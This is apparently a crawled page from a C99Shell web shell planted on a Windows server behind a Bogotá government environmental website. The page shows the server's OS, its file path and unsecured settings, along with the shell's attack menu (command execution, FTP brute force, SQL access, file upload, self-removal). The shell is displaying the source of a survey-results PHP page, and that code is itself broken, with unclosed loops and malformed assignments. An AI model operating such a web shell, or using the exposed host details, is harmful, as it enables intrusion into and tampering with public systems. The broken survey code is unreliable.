!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\ambientebogota.gov.co\Tomemos_Conciencia\contactenos\   drwxrwxrwx
Free 4.13 GB of 39.52 GB (10.45%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     resultados_encuesta.php (11.02 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
<head><title>Resultados</title>
<style>
body{margin:10px;padding:10px; font-family:verdana, arial; font-size:11px; color:#000; background-color:#FFFFF0}
table{font-family:verdana, arial; font-size:11px; color:#000}
</style>
    <script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
    <script type="text/javascript">
_uacct = "UA-1458662-7";
urchinTracker();
</script>

</head>

<body>
<table width="700" border="0" cellspacing="0" cellpadding="8">
  <tr>
    <td><strong><font size="4">Resultados encuesta</font></strong><br>
      <br>
      <?php
require_once('conn/conexion.php'); 
$sql ="SELECT count(autoridad) as autoridad FROM encuesta where autoridad = '1'";
$sql2 ="SELECT count(autoridad) as autoridad FROM encuesta where autoridad = '2'";
$sql3 ="SELECT count(autoridad) as autoridad FROM encuesta where autoridad = '3'";
$sql4 ="SELECT count(autoridad) as autoridad FROM encuesta where autoridad = '4'";
$sql5 ="SELECT count(autoridad) as autoridad FROM encuesta where conoce = '6'";
$sql6 ="SELECT count(autoridad) as autoridad FROM encuesta where conoce = '7'";
$sql25 ="SELECT count(autoridad) as autoridad FROM encuesta where conoce = '8'";
$sql26 ="SELECT count(autoridad) as autoridad FROM encuesta where conoce = '9'";

$sql15 ="SELECT count(acciones) as acciones FROM encuesta where acciones = 'si'";
$sql16 ="SELECT count(acciones) as acciones FROM encuesta where acciones = 'no'";

$sql7 ="SELECT count(impacto) as impacto FROM encuesta where impacto = '5'";
$sql8 ="SELECT count(impacto) as impacto FROM encuesta where impacto = '4'";
$sql9 ="SELECT count(impacto) as impacto FROM encuesta where impacto = '3'";
$sql10 ="SELECT count(impacto) as impacto FROM encuesta where impacto = '2'";
$sql11 ="SELECT count(impacto) as impacto FROM encuesta where impacto = '1'";
$sql12 ="SELECT count(impacto) as impacto FROM encuesta where impacto = '9'";

//radio//
$sql120 ="SELECT count(medio) as medio FROM encuesta where medio = 'radio'";
//tv//
$sql12e ="SELECT count(medio) as medio FROM encuesta where medio = 'tv'";
//prensa//
$sql12k ="SELECT count(medio) as medio FROM encuesta where medio = 'prensa'";

//www//
$sql12p ="SELECT count(medio) as medio FROM encuesta where medio = 'www'";

//waa//
$sql12pa ="SELECT count(medio) as medio FROM encuesta where medio = 'waa'";

$problema1 "SELECT count(problema) as problema FROM encuesta where problema = '1'";
$problema2 "SELECT count(problema) as problema FROM encuesta where problema = '2'";
$problema3 "SELECT count(problema) as problema FROM encuesta where problema = '3'";
$problema4 "SELECT count(problema) as problema FROM encuesta where problema = '4'";
$problema5 "SELECT count(problema) as problema FROM encuesta where problema = '5'";
$problema6 "SELECT count(problema) as problema FROM encuesta where problema = '6'";

$q_problema1 =@mysql_query($problema1,$link) or die(mysql_error());
$q_problema2 =@mysql_query($problema2,$link) or die(mysql_error());
$q_problema3 =@mysql_query($problema3,$link) or die(mysql_error());
$q_problema4 =@mysql_query($problema4,$link) or die(mysql_error());
$q_problema5 =@mysql_query($problema5,$link) or die(mysql_error());
$q_problema6 =@mysql_query($problema6,$link) or die(mysql_error());

$result = @mysql_query($sql,$link) or die(mysql_error());
$result2 = @mysql_query($sql2,$link) or die(mysql_error());
$result3 = @mysql_query($sql3,$link) or die(mysql_error());
$result4 = @mysql_query($sql4,$link) or die(mysql_error());
$result5 = @mysql_query($sql5,$link) or die(mysql_error());
$result6 = @mysql_query($sql6,$link) or die(mysql_error());
$result25 = @mysql_query($sql25,$link) or die(mysql_error());
$result26 = @mysql_query($sql26,$link) or die(mysql_error());

$result7 = @mysql_query($sql7,$link) or die(mysql_error());
$result8 = @mysql_query($sql8,$link) or die(mysql_error());
$result9 = @mysql_query($sql9,$link) or die(mysql_error());
$result10 = @mysql_query($sql10,$link) or die(mysql_error());
$result11 = @mysql_query($sql11,$link) or die(mysql_error());
$result12 = @mysql_query($sql12,$link) or die(mysql_error());

//radio
$result13a = @mysql_query($sql120,$link) or die(mysql_error());

//tv
$result13f = @mysql_query($sql12e,$link) or die(mysql_error());

//prensa
$result13k = @mysql_query($sql12k,$link) or die(mysql_error());


//www
$result13p = @mysql_query($sql12p,$link) or die(mysql_error());

//waa
$result13pa = @mysql_query($sql12pa,$link) or die(mysql_error());


$result15 = @mysql_query($sql15,$link) or die(mysql_error());
$result16 = @mysql_query($sql16,$link) or die(mysql_error());
?>
      <strong><font color="#990000">1. </font><font color="#993300">Cuándo usted tiene que realizar un trámite ambiental se dirige a? </font></strong><br>
      a) Secretaría Distrital de Ambiente 
      <?
while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
    echo $row['autoridad'];
echo "<img src=lin.gif width=".($row['autoridad']+5)." height=5 hspace=3>";



?>
      <br>
      b) Jardín Botánico de Bogotá: 
      <?
while($row2 = mysql_fetch_array($result2, MYSQL_ASSOC))
{
    echo $row2['autoridad'];
echo "<img src=lin.gif width=".($row2['autoridad']+5)." height=5 hspace=3>";



?>
      <br>
      c) Alcaldía Local: 
      <?
while($row3 = mysql_fetch_array($result3, MYSQL_ASSOC))
{
    echo $row3['autoridad'];
echo "<img src=lin.gif width=".($row3['autoridad']+5)." height=5 hspace=3>";



?>
      <br>
      d) Secretaría Distrital de Hábitat:  
      <?
while($row4 = mysql_fetch_array($result4, MYSQL_ASSOC))
{
    echo $row4['autoridad'];
echo "<img src=lin.gif width=".($row4['autoridad']+5)." height=5 hspace=3>";



?>
      <br>
        <br>
      <img src="linea.gif" width="185" height="2"><br>
      <br>
      <strong><font color="#990000">2. ¿Qué tan satisfecho está usted en cuanto a los resultados de la gestión ambiental en Bogotá?</font></strong><br>
      a) Muy satisfecho: 
      <?
while($row5 = mysql_fetch_array($result5, MYSQL_ASSOC))
{
    echo $row5['autoridad'];
echo "<img src=lin.gif width=".($row5['autoridad']+5)." height=5 hspace=3>";

?>
      <br>
      b) Satisfecho: 
      <?
while($row6 = mysql_fetch_array($result6, MYSQL_ASSOC))
{
    echo $row6['autoridad'];
echo "<img src=lin.gif width=".($row6['autoridad']+5)." height=5 hspace=3>";

?>
<br>
      c) Poco satisfecho: 
      <?
while($row12 = mysql_fetch_array($result25, MYSQL_ASSOC))
{
    echo $row12['autoridad'];
echo "<img src=lin.gif width=".($row12['autoridad']+5)." height=5 hspace=3>";

?>
<br>
      d) Deficiente: 
      <?
while($row13 = mysql_fetch_array($result26, MYSQL_ASSOC))
{
    echo $row13['autoridad'];
echo "<img src=lin.gif width=".($row13['autoridad']+5)." height=5 hspace=3>";

?>
      <br>
      <br>
      <img src="linea.gif" width="185" height="2"> <br>
        <br>
      <strong><font color="#990000">3. ¿De los siguientes temas, cual considera usted que se deben atender de manera prioritaria durante 2011?</font></strong><br>
      a) Control a la contaminación atmosférica: 
      <?
while($row7 = mysql_fetch_array($result7, MYSQL_ASSOC))
{
    echo $row7['impacto'];
echo "<img src=lin.gif width=".($row7['impacto']+5)." height=5 hspace=3>";

?>
      <br>
      b) Control a la contaminación auditiva: 
      <?
while($row8 = mysql_fetch_array($result8, MYSQL_ASSOC))
{
    echo $row8['impacto'];
echo "<img src=lin.gif width=".($row8['impacto']+5)." height=5 hspace=3>";

?>
      <br>
      c) Control a la contaminación visual: 
      <?
while($row9 = mysql_fetch_array($result9, MYSQL_ASSOC))
{
    echo $row9['impacto'];
echo "<img src=lin.gif width=".($row9['impacto']+5)." height=5 hspace=3>";

?>
      <br>
      d) Protección de los humedales: 
      <?
while($row10 = mysql_fetch_array($result10, MYSQL_ASSOC))
{
    echo $row10['impacto'];
echo "<img src=lin.gif width=".($row10['impacto']+5)." height=5 hspace=3>";

?>
      <br>
      e) Control al tráfico de fauna y flora: 
    <?
while($row11 = mysql_fetch_array($result11, MYSQL_ASSOC))
{
    echo $row11['impacto'];
echo "<img src=lin.gif width=".($row11['impacto']+5)." height=5 hspace=3>";

?><br>
        <br>
      <img src="linea.gif" width="185" height="2"><br> <br>
      <strong><font color="#993300">4</font><font color="#993300">. Considera usted que la labor realizada por la Secretaría Distrital de Ambiente durante el año 2010, en la protección y conservación de los humedales fue:</font></strong><br>
      a) Muy buena: 
      <?
while($fila1 = mysql_fetch_array($q_problema1, MYSQL_ASSOC))
{
    echo $fila1['problema'];
echo "<img src=lin.gif width=".($fila1['problema']+5)." height=5 hspace=3>";

?>
      <br>
      b) Buena:
      <?
while($fila2 = mysql_fetch_array($q_problema2, MYSQL_ASSOC))
{
    echo $fila2['problema'];
echo "<img src=lin.gif width=".($fila2['problema']+5)." height=5 hspace=3>";

?>
      <br>
      c) Regular:
      <?
while($fila3 = mysql_fetch_array($q_problema3, MYSQL_ASSOC))
{
    echo $fila3['problema'];
echo "<img src=lin.gif width=".($fila3['problema']+5)." height=5 hspace=3>";

?>
      <br>
      d) Deficiente:
      <?
while($fila4 = mysql_fetch_array($q_problema4, MYSQL_ASSOC))
{
    echo $fila4['problema'];
echo "<img src=lin.gif width=".($fila4['problema']+5)." height=5 hspace=3>";

?><br>
      <br> <img src="linea.gif" width="185" height="2"> <br>
      <br>
      <strong><font color="#990000"> 5. ¿Cuál de las siguientes campañas adelantas por la Secretaría Distrital de Ambiente conoce o ha escuchado?<br>
        </font></strong>a. Protección de fauna silvestre “En tu casa no se sienten como en su casa”: 
      <?
while($row13a = mysql_fetch_array($result13a, MYSQL_ASSOC))
{
    echo $row13a['medio'];
echo "<img src=lin.gif width=".($row13a['medio']+5)." height=5 hspace=3>";

?>
      <br>
      b. Protege los Humedales de Bogotá, Aun queda mucho por cuidar: 
      <?
while($row13f = mysql_fetch_array($result13f, MYSQL_ASSOC))
{
    echo $row13f['medio'];
echo "<img src=lin.gif width=".($row13f['medio']+5)." height=5 hspace=3>";

?>
      <br>
      c. Reconcíliate con la naturaleza Protección a la Palma de Cera: 
      <?
while($row13k = mysql_fetch_array($result13k, MYSQL_ASSOC))
{
    echo $row13k['medio'];
echo "<img src=lin.gif width=".($row13k['medio']+5)." height=5 hspace=3>";

?>
      <br>
      d. Consumo Responsable Apagón ambiental: 
      <?
while($row13p = mysql_fetch_array($result13p, MYSQL_ASSOC))
{
    echo $row13p['medio'];
echo "<img src=lin.gif width=".($row13p['medio']+5)." height=5 hspace=3>";

?>
<br>
      e. Ninguna de las anteriores: 
      <?
while($row13pa = mysql_fetch_array($result13pa, MYSQL_ASSOC))
{
    echo $row13pa['medio'];
echo "<img src=lin.gif width=".($row13pa['medio']+5)." height=5 hspace=3>";

?>
      <br>
      <br>
      <img src="linea.gif" width="185" height="2"> <br>
    <br></td>
  </tr>
</table>
<h3>&nbsp;</h3>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--